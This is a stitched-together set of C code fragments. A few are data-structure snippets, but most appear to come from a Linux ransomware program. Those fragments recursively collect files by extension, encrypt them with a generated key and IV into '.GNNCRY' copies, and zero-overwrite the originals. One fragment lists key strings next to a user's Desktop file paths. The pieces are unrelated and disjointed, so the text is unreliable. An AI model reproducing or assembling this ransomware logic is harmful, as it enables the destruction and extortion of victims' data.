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typedef struct node{
    int color;
    struct node *left, *right;
}Node;

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int array[10];
// limited size -> 10
// only one data type

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typedef struct node{
	int data;
	struct node * next;
}Node;

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/* Free the linked lists*/
destroy(&files);
destroy(&encrypted);
destroy(&not_encrypted);

/* Free the path variables */
free(home);
free(desktop);
free(username);
free(trash);

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6.V5Aw?d'b}{v$@AO(xr'?!ptWW-qADy:3Zd;B3zGrvufrUCQ:/home/tarcisio/Desktop/15109580_1182532868480776_7528793872271394864_n.jpg.water
uI5Lt2yC3OU@L}'x'mh3?m0&B10(;(SS:J0#,5K3V)ob9p)%Z:/home/tarcisio/Desktop/allegro/projeto-allegro.odt.water
'k14!3X(OhjFOb(hiBSf$JV#jb@s9'!j:Thhj'O%nWyebj8j7:/home/tarcisio/Desktop/allegro/main.c.water
VOpUQOfFqiHOdJCiw#aSE$c)R,K$PfPM:3Li(wp@im2Gpx5Vy:/home/tarcisio/Desktop/estruturas/RB/redblack.c.water
PkJu-JhU-V@}cVzebO)&!0'i@11c;Tb@:bGpNOj7gj-CS-vQX:/home/tarcisio/Desktop/estruturas/avl/avl.c.water
QUZnLi{uqX2whaQ'.usK52!K8bO&jf7b:%JC)Zihn5g0d7hpN:/home/tarcisio/Desktop/estruturas/B/B.c.water

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void *buf = malloc(BUF_SIZE); // allocate memory
memset(buf, 0, BUF_SIZE); // zero the memory
ssize_t ret = 0;
off_t shift = 0;
while((ret = write(fd, buf,
                  ((fsize - shift >BUF_SIZE)?
                  BUF_SIZE:(fsize - shift)))) > 0)
     shift += ret;

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iv = generate_key(16);
key = generate_key(32);
/* Where encryption really happens*/
encrypt(old, new, key, iv);

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old = fopen(files->info[2], "rb");
if(old != NULL){
    new_name = (char*) malloc(sizeof(char) * (strlen(files->info[2]) + 11));
    strcpy(new_name, files->info[2]);
    strcat(new_name, ".GNNCRY");
    new = fopen(new_name, "wb");

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else if(ent->d_type == 4){ // it's a directory

    if(!(strcmp(ent->d_name, "..") == 0 || strcmp(ent->d_name, ".") == 0)){

        find_files(files, new_directory); // recursive call

    }
}

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/* If finds a file, append to the linked list */
if(ent->d_type == 8){ // it's a file

    while(ext != NULL){ // check file extension

        if(strcmp(get_filename_ext(path_to_file), ext) == 0){
            append(files, path_to_file, NULL, NULL); 
            break;
        }
        ext = strtok(NULL, " ");